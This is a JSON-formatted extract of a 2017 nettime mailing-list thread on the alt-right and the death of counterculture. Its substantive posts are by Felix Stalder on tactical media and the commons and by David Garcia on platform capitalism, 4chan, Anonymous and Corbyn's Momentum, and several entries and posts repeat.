http://www.nettime.org contact: nettime {AT} kein.org\n#   {AT} nettime_bot tweets mail w/ sender unless #ANON is in Subject:",
                        "id": "00010",
                        "date": "Sat, 8 Jul 2017 10:22:58 +0000",
                        "to": "\"nettime-l {AT} mail.kein.org\" <nettime-l {AT} mail.kein.org>",
                        "message-id": "1499509377512.72890 {AT} uts.edu.au",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1707/msg00010.html",
                        "content-type": "text/plai",
                        "author_name": "Jonathan Marshall",
                        "subject": "Re: <nettime> The alt-right and the death of countercultur"
                    },
                    {
                        "follow-up": [
                            {
                                "from": "Ian Alan Paul <ianalanpaul {AT} gmail.com>",
                                "content": "#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n#   {AT} nettime_bot tweets mail w/ sender unless #ANON is in Subject:",
                                "id": "00012",
                                "date": "Sat, 8 Jul 2017 10:27:00 -0400",
                                "to": "lincoln dahlberg <l.j.dahlberg {AT} xtra.co.nz>",
                                "message-id": "CAM&#45;xAVZE_e8NENxbDdPVcQOb4ufWshkPCDfpyNZZ+YVc0dUEVw {AT} mail.gmail.com",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1707/msg00012.html",
                                "content-type": "multipart/mixed",
                                "author_name": "Ian Alan Paul",
                                "subject": "Re: <nettime> The alt-right and the death of countercultur"
                            },
                            {
                                "from": "Joseph Rabie <joe {AT} overmydeadbody.org>",
                                "content": "#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n#   {AT} nettime_bot tweets mail w/ sender unless #ANON is in Subject:",
                                "id": "00014",
                                "date": "Sat, 8 Jul 2017 17:29:20 +0200",
                                "to": "nettime-l {AT} mail.kein.org",
                                "message-id": "DB4DAAE6&#45;9A3F&#45;4F12&#45;9E21&#45;7B4FB49B1688 {AT} overmydeadbody.or",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1707/msg00014.html",
                                "content-type": "multipart/mixed",
                                "author_name": "Joseph Rabie",
                                "subject": "Re: <nettime> The alt-right and the death of countercultur"
                            },
                            {
                                "from": "Brian Holmes <bhcontinentaldrift {AT} gmail.com>",
                                "content": "On 07/08/2017 07:39 AM, lincoln dahlberg wrote:\n",
                                "id": "00015",
                                "date": "Sat, 8 Jul 2017 12:39:14 -0500",
                                "to": "nettime-l {AT} mail.kein.org",
                                "message-id": "b1fd9ff0&#45;00ff&#45;b653&#45;71ed&#45;78d57692fac5 {AT} gmail.com",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1707/msg00015.html",
                                "content-type": "text/plai",
                                "author_name": "Brian Holmes",
                                "subject": "Re: <nettime> The alt-right and the death of countercultur"
                            },
                            {
                                "from": "Ian Alan Paul <ianalanpaul {AT} gmail.com>",
                                "content": "#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n#   {AT} nettime_bot tweets mail w/ sender unless #ANON is in Subject:",
                                "id": "00016",
                                "date": "Sat, 8 Jul 2017 14:38:44 -0400",
                                "to": "Brian Holmes <bhcontinentaldrift {AT} gmail.com>",
                                "message-id": "CAM&#45;xAVbP2gjW4pW6cZOYWbN7fhm5nbHVfi9fBUMnNmBAPJyV_w {AT} mail.gmail.com",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1707/msg00016.html",
                                "content-type": "multipart/mixed",
                                "author_name": "Ian Alan Paul",
                                "subject": "Re: <nettime> The alt-right and the death of countercultur"
                            },
                            {
                                "from": "Morlock Elloi <morlockelloi {AT} gmail.com>",
                                "content": "\n",
                                "id": "00017",
                                "date": "Sat, 08 Jul 2017 14:25:29 -0700",
                                "to": "nettime-l {AT} mail.kein.org",
                                "message-id": "59614DC9.3070205 {AT} gmail.com",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1707/msg00017.html",
                                "content-type": "text/plai",
                                "author_name": "Morlock Elloi",
                                "subject": "Re: <nettime> The alt-right and the death of countercultur"
                            }
                        ],
                        "from": "lincoln dahlberg <l.j.dahlberg {AT} xtra.co.nz>",
                        "content": "#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n#   {AT} nettime_bot tweets mail w/ sender unless #ANON is in Subject:",
                        "id": "00011",
                        "date": "Sun, 9 Jul 2017 00:39:03 +1200 (NZST)",
                        "to": "nettime-l {AT} mail.kein.org, bhcontinentaldrift {AT} gmail.com",
                        "message-id": "688456291.353837.1499517543613 {AT} webmail.xtra.co.nz",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1707/msg00011.html",
                        "content-type": "multipart/mixed",
                        "author_name": "lincoln dahlberg",
                        "subject": "Re: <nettime> The alt-right and the death of countercultur"
                    },
                    {
                        "follow-up": [
                            {
                                "from": "Keith Hart <keith {AT} thememorybank.co.uk>",
                                "content": "#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n#   {AT} nettime_bot tweets mail w/ sender unless #ANON is in Subject:",
                                "id": "00019",
                                "date": "Sun, 9 Jul 2017 08:23:01 +0200",
                                "to": "Felix Stalder <felix {AT} openflows.com>",
                                "message-id": "CAF32U9HwaLS=+Uag&#45;XF1UPCBWe97fx8OGuTxRF59HhX6h6gPEw {AT} mail.gmail.com",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1707/msg00019.html",
                                "content-type": "multipart/mixed",
                                "author_name": "Keith Hart",
                                "subject": "Re: <nettime> The alt-right and the death of countercultur"
                            },
                            {
                                "from": "Brian Holmes <bhcontinentaldrift {AT} gmail.com>",
                                "content": "#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n#   {AT} nettime_bot tweets mail w/ sender unless #ANON is in Subject:",
                                "id": "00020",
                                "date": "Mon, 10 Jul 2017 01:27:50 -0500",
                                "to": "Keith Hart <keith {AT} thememorybank.co.uk>",
                                "message-id": "CANuiTgxMHz3A3yesUEeveyWMTySdNg6TV&#45;VtLZ4dbS+_Ek4QnA {AT} mail.gmail.com",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1707/msg00020.html",
                                "content-type": "multipart/mixed",
                                "author_name": "Brian Holmes",
                                "subject": "Re: <nettime> The alt-right and the death of countercultur"
                            },
                            {
                                "from": "David Garcia <d.garcia {AT} new-tactical-research.co.uk>",
                                "content": "Felix Stalder wrote..\n\n> \n> Looking back, the shortcomings of the approaches \"emanating out of\n> Amsterdam\", say tactical media in particular and, but the cultural/media\n> left more generally, seem to be twofold, in my view.\n> \n> First, while the intuition about the necessity to interrupt the normal\n> flows of communication was correct and has proofed to be very powerful\n> since, there was no idea what do in the space that would thus be opened\n> up. We could have used the time when the system was relatively stable to\n> think about this, but we didn't. Now, the the system is falling apart,\n> the far right is capable of imposing an even darker version of disaster\n> capitalism.\n\n> There has been very little interest in offering points of translation,\n\n> that is, to think about how people who are not in the same circuit could\n> appropriate and transform for their own use, the insights they find in\n> the theoretical perspective one offers.\n\n\nI am trying to get a sense of what is really at stake in these discussions.. what the underlying \ncontinuities as well as big changes that make these questions of counter-cultures and the new\nautonomous zones of message boards and meme wars seem important rather than a trivial \nside show. \n\nThe big change from the 1990s is the way internet and digital cultures (in large areas of the world)\nare now fully inserted into and thus inseparable from daily life. The full impact of the web 2.0 revolution \nand the rise of the platform era is quite simply the -mainstreaming- of digital cultures. \n\nIn this context it is nonsense to see work on the political, cultural and epistemic impact of these changes \nas a marginal obsession of -a self-selecting group geeks.. the continued development of earlier agendas \nof the cypher punks around anonymity, surveillance, autonomy, and agency as a necessity for creating \nwider progressive change has increased not decreased in urgency. Digital cultures have become quite simply a\n-Total Social Fact- [Noortje Maares-Digital Sociology]. \n\nThis -insertiability- of the digital cultures into all aspects of life is the foundation for both the success of these \nplatforms and devices as well as the basis of monopolistically inclined business models that Nick Srnicek \nhas called platform capitalism in active combination with the surveillance state. \n\nComing to grips with this problem is more subtle than it is sometimes portrayed. The tricky point lies in understanding\nthat what constitutes actual participation and what differentiates these cultures from all that preceded it. \n\nParticipation is not as it is sometimes portrayed -the difference between -the passive audience \nand the active engaged participants or users-. No, a traditional audience (or public) can be as active and \nhighly engaged as anyone else. The key point of difference is that engagement in the case of an -audience- \nis invisible. The engagement of an audience is invisible because it is not -traceable-. And without traceability  \nthere can be no -feedback-. No feedback means no participation. \n\nThis was de Certeau\u2019s observation long ago and why he saw consumption as invisible co-creation with an asymmetric \nbalance of power. And observed the presence of silent invisible networks of resistance that he called tactical.\n\nIt is this necessary traceability on which participation depends that has been opportunistically seized upon as the \nbusiness models and the new forms of exploitation and value extraction we know as platform capitalism which when combined \nwith state surveillance squats like a toad atop of what could still become a post capitalist culture of contribution. \n\nThe -insertion- of this model of digital cultures into the everyday life accounts for both its success and also sub-cultural \nresistance that demands the right to anonymity and the need for unregulated spaces. It is the need for these spaces that \naccounts for the huge popularity of message bodes like 4chan where registration is not required and anonymity is an expedient \nthat morphed into an ethos and then into a movement whose potential has only begun. \n\nBack in 2012 Gabriella Coleman wrote a journal article reflecting on the research she had been doing since 2008 \non the formative role of 4chan's random page in the emergence of Anonymous in which she asks -how has the anarchic \nhate machine of (Fox News\u2019s epithet for Anonymous) been transformed into one of the most adroit and effective political \noperations of recent times ? - Now in 2017 we need to invert the question and ask how did the platform that gave rise to \n-the most adroit and effective political operation- spawned the even more adroit and effective operation Alt.right ? And \nmore pertinently why was this once progressive domain ceded so much to the right.. why was there not a more effective \nfightback. why no equally powerful alt.left?   \n  \nThe white supremacist trolls and nazi meme warriors may have had an exaggerated belief in their own influence but \nthough exaggerated was and remans far from negligible. Trump\u2019s recent speech in Poland on the battle for Western \nCivilisation has Bannon\u2019s Alt.right finger prints all over it. He may be less visible these days but his influence in the White \nHouse remains undimmed.  \n\nWhether as Anonymous or Alt.right the unregulated autonomous zones of message boards \nrepresent the revenge of what some on the left previously dismissed as folk politics. Far from being \neither an impotent side show or the property any particular set of political affiliations these spaces represent \na new front line in the battle for the social mind. As Florian Cramer pointed out in a recent panel that there are \nparallels here with Punk which although often associated in the UK and beyond with the anarchist left in Germany\nthere was a strong constituency of neo-nazi punk.   \n\nFelix Stalder wrote    \n\n> import of ideas/tactics always goes from left to right. It has the\n> whiny undertones of an inventor who sees his idea commercialized by\n> others. But that's incorrect. If you look at what happens with the\n> \"Indivisible Movement\", they every clearly and openly copy tactics of\n> the tea party movement, \n\n\nYes agreed- And one of the most important lessons is to be unafraid of power and to be willing to re-occupy \ntraditional political parties but in new ways. \n\nAlthough it has not figured much in these discussions the UK Labour party\u2019s successful campaign combined with the \nMomentum the organisation in support of the Corbyn agenda operating outside of the formal party structures and making \nfantastic use of independant media outlets. \n\nOther nettime regulars such as Richard Barbrook who were actively campaigning would be \nfar better than I am to illuminate this picture. \n\nBut from the outside the campaign seems to have taken many lessons from the US grass roindependantot\u2019s media activism \ncombining new forms of campaigning, Turning rallies into media events. Not cosying up to mainstream \nmedia but attacking them all appears straight out of the Trump play book of Let Corbyn be Corbyn \n\nIts easy too write off work around art, media and politics in the words of Jodie Dean -communicative \ncapitalism\u2019s perfect lure- a self deluding sideshow, unconnected to the disciplines of real political \norganising. But whatever else the Alt.right demonstrated that in politics *culture* particularly \nsub-cultures still matter. And that Bretitbart\u2019s famous aphorism energetically adopted by Bannon\u2019s meme team \nthat: -politics is down-stream from culture- is a message that the far right learned well which some on the left \noverlooked as they were anxious to move on from the DIY media practices dismissed by some as -folk politics-. \n\nAgain from the outside, Momentum have been stupidly misrepresented as a throw back \nTrotskyist entryism of the 1970s. But Corbyn himself represent a very different approach \nto what leadership is.  Part of Corbyn\u2019s very contemporary appeal is he appears as a reluctant \nleader. Uncomfortable with the trappings of power. His clear discomfort with the normal \nlogic of power brings his approach closer to what Paolo Gerbaudo has called the \u201cemotional \nchoreography\u201d of the reluctant leaders of Occupy.\n\nI remember a discussion along while back at the LSE  with Paul Mason in a conversation with Manuel Castells \nwhere Mason declared would be inconceivable for any politician today could openly declare as Labour Party's Shawcross \nnotoriously did when Labour won power in 1945 that -We are the masters now- For whatever reason people don\u2019t want \nmasters .. People don\u2019t trust traditional forms of leadership anymore.. \n\nBut in the same conversation they discussed the fact that major social and political change takes time to unfold it can be \nglacial (then sudden). Castells pointed out how -it took 20-30 years from the arrival of mass industrialisation to the \npoint when union power and the labour movement became political institutions [\u2026] its long journey from the minds of \npeople to the institutions of society-.  I know.. I know.. we don\u2019t have that long.\n\n\n-----------------------------------------------\n\nd a v i d  g a r c i a\nBournemouth University\nd.garcia {AT} new-tactical-research.co.uk\nhttp://new-tactical-research.co.uk\nhttp://www.tacticalmediafiles.net\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n#   {AT} nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n",
                                "id": "00022",
                                "date": "Mon, 10 Jul 2017 12:20:05 +0100",
                                "to": "Felix Stalder <felix {AT} openflows.com>",
                                "message-id": "C234517A&#45;1F68&#45;4856&#45;B0CD&#45;315652B8CBBF {AT} new&#45;tactical&#45;research.co.uk",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1707/msg00022.html",
                                "content-type": "text/plai",
                                "author_name": "David Garcia",
                                "subject": "Re: <nettime> The alt-right and the death of countercultur"
                            }
                        ],
                        "from": "elix Stalder <felix {AT} openflows.com>",
                        "content": "On 2017-07-08 10:53, Brian Holmes wrote:\n\n> These lines, while pitched at Milo and the young sexy neofascists, \n> describe a lot of the cultural pranks we used to celebrate in the \n> festival circuits emanating out from Amsterdam. The big difference\n> is that until very recently, the world was stable and the pranks\n> were inconsequential. Now the ways that such nihilism feeds monsters\n> have become all too obvious. The style of paranoid critique that many\n> of us in the theory-world practiced is complicit in these devastating\n> outcomes, because no matter how bad things may be, it is one's\n> responsibility to seek for possible ameliorations of the common lot\n> - by which I mean something much more widely shared than the rarified\n> concept of \"the commons.\" \n\nLooking back, the shortcomings of the approaches \"emanating out of\nAmsterdam\", say tactical media in particular and, but the cultural/media\nleft more generally, seem to be twofold, in my view.\n\nFirst, while the intuition about the necessity to interrupt the normal\nflows of communication was correct and has proofed to be very powerful\nsince, there was no idea what do in the space that would thus be opened\nup. We could have used the time when the system was relatively stable to\nthink about this, but we didn't. Now, the the system is falling apart,\nthe far right is capable of imposing an even darker version of disaster\ncapitalism.\n\nSecond, both the actions and the theories remained absolutely insular.\nWhat passes as cultural/media theory still delights in jargon and\nobscurantism. Or, in offering hypercritical takes that create no opening\n(like Florian's erudite but otherwise baffling piece on public domain).\n\nThere has been very little interest in offering points of translation,\nthat is, to think about how people who are not in the same circuit could\nappropriate and transform for their own use, the insights they find in\nthe theoretical perspective one offers.\n\nFor me, however, the concepts of the commons still remains useful. For\none, it at least points to a new social settlement, that is, towards\nwhat might fill the void of the break-down of the old order. Second, it\nhas a certain resonance where I stand, thus it can lead unusual\nalliances. And, third, it's vague enough a concept so that many\ndifferent strands of thinking might come into contact under this\numbrella and it does have a lot of potential to be appropriated by\ndifferent actors, not the least in the context of radical urban social\nmovements.\n\nFelix\n\nPS: This focus on the meme-culture of the alt-right makes it seems like\nthe import of ideas/tactics always goes from left to right. It has the\nwhiny undertones of an inventor who sees his idea commercialized by\nothers. But that's incorrect. If you look at what happens with the\n\"Indivisible Movement\", they every clearly and openly copy tactics of\nthe tea party movement, namely to give senators and representatives hell\nat town hall meetings, where the politicians face the people\nface-to-face. And at the moment, its seems fairly successful eroding the\nmajority for the repeal of Obama care.\n\n\n\n-- \n\n ||||||||||||||||||||||||||||||||| http://felix.openflows.com\n |OPEN PGP:  https://pgp.mit.edu/pks/lookup?search=0x0C9FF2AC\n\n",
                        "id": "00018",
                        "date": "Sat, 8 Jul 2017 23:47:05 +0200",
                        "to": "nettime-l {AT} mail.kein.org",
                        "message-id": "ba7cccfe&#45;4885&#45;b935&#45;62f7&#45;1cbc8775599e {AT} openflows.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1707/msg00018.html",
                        "content-type": "multipart/mixed",
                        "author_name": "Felix Stalder",
                        "subject": "Re: <nettime> The alt-right and the death of countercultur"
                    },
                    {
                        "from": "Ian Alan Paul <ianalanpaul {AT} gmail.com>",
                        "content": "#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n#   {AT} nettime_bot tweets mail w/ sender unless #ANON is in Subject:",
                        "id": "00012",
                        "date": "Sat, 8 Jul 2017 10:27:00 -0400",
                        "to": "lincoln dahlberg <l.j.dahlberg {AT} xtra.co.nz>",
                        "message-id": "CAM&#45;xAVZE_e8NENxbDdPVcQOb4ufWshkPCDfpyNZZ+YVc0dUEVw {AT} mail.gmail.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1707/msg00012.html",
                        "content-type": "multipart/mixed",
                        "author_name": "Ian Alan Paul",
                        "subject": "Re: <nettime> The alt-right and the death of countercultur"
                    },
                    {
                        "from": "Joseph Rabie <joe {AT} overmydeadbody.org>",
                        "content": "#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n#   {AT} nettime_bot tweets mail w/ sender unless #ANON is in Subject:",
                        "id": "00014",
                        "date": "Sat, 8 Jul 2017 17:29:20 +0200",
                        "to": "nettime-l {AT} mail.kein.org",
                        "message-id": "DB4DAAE6&#45;9A3F&#45;4F12&#45;9E21&#45;7B4FB49B1688 {AT} overmydeadbody.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1707/msg00014.html",
                        "content-type": "multipart/mixed",
                        "author_name": "Joseph Rabie",
                        "subject": "Re: <nettime> The alt-right and the death of countercultur"
                    },
                    {
                        "from": "Brian Holmes <bhcontinentaldrift {AT} gmail.com>",
                        "content": "On 07/08/2017 07:39 AM, lincoln dahlberg wrote:\n",
                        "id": "00015",
                        "date": "Sat, 8 Jul 2017 12:39:14 -0500",
                        "to": "nettime-l {AT} mail.kein.org",
                        "message-id": "b1fd9ff0&#45;00ff&#45;b653&#45;71ed&#45;78d57692fac5 {AT} gmail.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1707/msg00015.html",
                        "content-type": "text/plai",
                        "author_name": "Brian Holmes",
                        "subject": "Re: <nettime> The alt-right and the death of countercultur"
                    },
                    {
                        "from": "Ian Alan Paul <ianalanpaul {AT} gmail.com>",
                        "content": "#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n#   {AT} nettime_bot tweets mail w/ sender unless #ANON is in Subject:",
                        "id": "00016",
                        "date": "Sat, 8 Jul 2017 14:38:44 -0400",
                        "to": "Brian Holmes <bhcontinentaldrift {AT} gmail.com>",
                        "message-id": "CAM&#45;xAVbP2gjW4pW6cZOYWbN7fhm5nbHVfi9fBUMnNmBAPJyV_w {AT} mail.gmail.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1707/msg00016.html",
                        "content-type": "multipart/mixed",
                        "author_name": "Ian Alan Paul",
                        "subject": "Re: <nettime> The alt-right and the death of countercultur"
                    },
                    {
                        "from": "Morlock Elloi <morlockelloi {AT} gmail.com>",
                        "content": "\n",
                        "id": "00017",
                        "date": "Sat, 08 Jul 2017 14:25:29 -0700",
                        "to": "nettime-l {AT} mail.kein.org",
                        "message-id": "59614DC9.3070205 {AT} gmail.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1707/msg00017.html",
                        "content-type": "text/plai",
                        "author_name": "Morlock Elloi",
                        "subject": "Re: <nettime> The alt-right and the death of countercultur"
                    },
                    {
                        "from": "Keith Hart <keith {AT} thememorybank.co.uk>",
                        "content": "#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n#   {AT} nettime_bot tweets mail w/ sender unless #ANON is in Subject:",
                        "id": "00019",
                        "date": "Sun, 9 Jul 2017 08:23:01 +0200",
                        "to": "Felix Stalder <felix {AT} openflows.com>",
                        "message-id": "CAF32U9HwaLS=+Uag&#45;XF1UPCBWe97fx8OGuTxRF59HhX6h6gPEw {AT} mail.gmail.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1707/msg00019.html",
                        "content-type": "multipart/mixed",
                        "author_name": "Keith Hart",
                        "subject": "Re: <nettime> The alt-right and the death of countercultur"
                    },
                    {
                        "from": "Brian Holmes <bhcontinentaldrift {AT} gmail.com>",
                        "content": "#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n#   {AT} nettime_bot tweets mail w/ sender unless #ANON is in Subject:",
                        "id": "00020",
                        "date": "Mon, 10 Jul 2017 01:27:50 -0500",
                        "to": "Keith Hart <keith {AT} thememorybank.co.uk>",
                        "message-id": "CANuiTgxMHz3A3yesUEeveyWMTySdNg6TV&#45;VtLZ4dbS+_Ek4QnA {AT} mail.gmail.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1707/msg00020.html",
                        "content-type": "multipart/mixed",
                        "author_name": "Brian Holmes",
                        "subject": "Re: <nettime> The alt-right and the death of countercultur"
                    },
                    {
                        "from": "David Garcia <d.garcia {AT} new-tactical-research.co.uk>",
                        "content": "Felix Stalder wrote..\n\n> \n> Looking back, the shortcomings of the approaches \"emanating out of\n> Amsterdam\", say tactical media in particular and, but the cultural/media\n> left more generally, seem to be twofold, in my view.\n> \n> First, while the intuition about the necessity to interrupt the normal\n> flows of communication was correct and has proofed to be very powerful\n> since, there was no idea what do in the space that would thus be opened\n> up. We could have used the time when the system was relatively stable to\n> think about this, but we didn't. Now, the the system is falling apart,\n> the far right is capable of imposing an even darker version of disaster\n> capitalism.\n\n> There has been very little interest in offering points of translation,\n\n> that is, to think about how people who are not in the same circuit could\n> appropriate and transform for their own use, the insights they find in\n> the theoretical perspective one offers.\n\n\nI am trying to get a sense of what is really at stake in these discussions.. what the underlying \ncontinuities as well as big changes that make these questions of counter-cultures and the new\nautonomous zones of message boards and meme wars seem important rather than a trivial \nside show. \n\nThe big change from the 1990s is the way internet and digital cultures (in large areas of the world)\nare now fully inserted into and thus inseparable from daily life. The full impact of the web 2.0 revolution \nand the rise of the platform era is quite simply the -mainstreaming- of digital cultures. \n\nIn this context it is nonsense to see work on the political, cultural and epistemic impact of these changes \nas a marginal obsession of -a self-selecting group geeks.. the continued development of earlier agendas \nof the cypher punks around anonymity, surveillance, autonomy, and agency as a necessity for creating \nwider progressive change has increased not decreased in urgency. Digital cultures have become quite simply a\n-Total Social Fact- [Noortje Maares-Digital Sociology]. \n\nThis -insertiability- of the digital cultures into all aspects of life is the foundation for both the success of these \nplatforms and devices as well as the basis of monopolistically inclined business models that Nick Srnicek \nhas called platform capitalism in active combination with the surveillance state. \n\nComing to grips with this problem is more subtle than it is sometimes portrayed. The tricky point lies in understanding\nthat what constitutes actual participation and what differentiates these cultures from all that preceded it. \n\nParticipation is not as it is sometimes portrayed -the difference between -the passive audience \nand the active engaged participants or users-. No, a traditional audience (or public) can be as active and \nhighly engaged as anyone else. The key point of difference is that engagement in the case of an -audience- \nis invisible. The engagement of an audience is invisible because it is not -traceable-. And without traceability  \nthere can be no -feedback-. No feedback means no participation. \n\nThis was de Certeau\u2019s observation long ago and why he saw consumption as invisible co-creation with an asymmetric \nbalance of power. And observed the presence of silent invisible networks of resistance that he called tactical.\n\nIt is this necessary traceability on which participation depends that has been opportunistically seized upon as the \nbusiness models and the new forms of exploitation and value extraction we know as platform capitalism which when combined \nwith state surveillance squats like a toad atop of what could still become a post capitalist culture of contribution. \n\nThe -insertion- of this model of digital cultures into the everyday life accounts for both its success and also sub-cultural \nresistance that demands the right to anonymity and the need for unregulated spaces. It is the need for these spaces that \naccounts for the huge popularity of message bodes like 4chan where registration is not required and anonymity is an expedient \nthat morphed into an ethos and then into a movement whose potential has only begun. \n\nBack in 2012 Gabriella Coleman wrote a journal article reflecting on the research she had been doing since 2008 \non the formative role of 4chan's random page in the emergence of Anonymous in which she asks -how has the anarchic \nhate machine of (Fox News\u2019s epithet for Anonymous) been transformed into one of the most adroit and effective political \noperations of recent times ? - Now in 2017 we need to invert the question and ask how did the platform that gave rise to \n-the most adroit and effective political operation- spawned the even more adroit and effective operation Alt.right ? And \nmore pertinently why was this once progressive domain ceded so much to the right.. why was there not a more effective \nfightback. why no equally powerful alt.left?   \n  \nThe white supremacist trolls and nazi meme warriors may have had an exaggerated belief in their own influence but \nthough exaggerated was and remans far from negligible. Trump\u2019s recent speech in Poland on the battle for Western \nCivilisation has Bannon\u2019s Alt.right finger prints all over it. He may be less visible these days but his influence in the White \nHouse remains undimmed.  \n\nWhether as Anonymous or Alt.right the unregulated autonomous zones of message boards \nrepresent the revenge of what some on the left previously dismissed as folk politics. Far from being \neither an impotent side show or the property any particular set of political affiliations these spaces represent \na new front line in the battle for the social mind. As Florian Cramer pointed out in a recent panel that there are \nparallels here with Punk which although often associated in the UK and beyond with the anarchist left in Germany\nthere was a strong constituency of neo-nazi punk.   \n\nFelix Stalder wrote    \n\n> import of ideas/tactics always goes from left to right. It has the\n> whiny undertones of an inventor who sees his idea commercialized by\n> others. But that's incorrect. If you look at what happens with the\n> \"Indivisible Movement\", they every clearly and openly copy tactics of\n> the tea party movement, \n\n\nYes agreed- And one of the most important lessons is to be unafraid of power and to be willing to re-occupy \ntraditional political parties but in new ways. \n\nAlthough it has not figured much in these discussions the UK Labour party\u2019s successful campaign combined with the \nMomentum the organisation in support of the Corbyn agenda operating outside of the formal party structures and making \nfantastic use of independant media outlets. \n\nOther nettime regulars such as Richard Barbrook who were actively campaigning would be \nfar better than I am to illuminate this picture. \n\nBut from the outside the campaign seems to have taken many lessons from the US grass roindependantot\u2019s media activism \ncombining new forms of campaigning, Turning rallies into media events. Not cosying up to mainstream \nmedia but attacking them all appears straight out of the Trump play book of Let Corbyn be Corbyn \n\nIts easy too write off work around art, media and politics in the words of Jodie Dean -communicative \ncapitalism\u2019s perfect lure- a self deluding sideshow, unconnected to the disciplines of real political \norganising. But whatever else the Alt.right demonstrated that in politics *culture* particularly \nsub-cultures still matter. And that Bretitbart\u2019s famous aphorism energetically adopted by Bannon\u2019s meme team \nthat: -politics is down-stream from culture- is a message that the far right learned well which some on the left \noverlooked as they were anxious to move on from the DIY media practices dismissed by some as -folk politics-. \n\nAgain from the outside, Momentum have been stupidly misrepresented as a throw back \nTrotskyist entryism of the 1970s. But Corbyn himself represent a very different approach \nto what leadership is.  Part of Corbyn\u2019s very contemporary appeal is he appears as a reluctant \nleader. Uncomfortable with the trappings of power. His clear discomfort with the normal \nlogic of power brings his approach closer to what Paolo Gerbaudo has called the \u201cemotional \nchoreography\u201d of the reluctant leaders of Occupy.\n\nI remember a discussion along while back at the LSE  with Paul Mason in a conversation with Manuel Castells \nwhere Mason declared would be inconceivable for any politician today could openly declare as Labour Party's Shawcross \nnotoriously did when Labour won power in 1945 that -We are the masters now- For whatever reason people don\u2019t want \nmasters .. People don\u2019t trust traditional forms of leadership anymore.. \n\nBut in the same conversation they discussed the fact that major social and political change takes time to unfold it can be \nglacial (then sudden). Castells pointed out how -it took 20-30 years from the arrival of mass industrialisation to the \npoint when union power and the labour movement became political institutions [\u2026] its long journey from the minds of \npeople to the institutions of society-.  I know.. I know.. we don\u2019t have that long.\n\n\n-----------------------------------------------\n\nd a v i d  g a r c i a\nBournemouth University\nd.garcia {AT} new-tactical-research.co.uk\nhttp://new-tactical-research.co.uk\nhttp://www.tacticalmediafiles.net\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n#   {AT} nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n",
                        "id": "00022",
                        "date": "Mon, 10 Jul 2017 12:20:05 +0100",
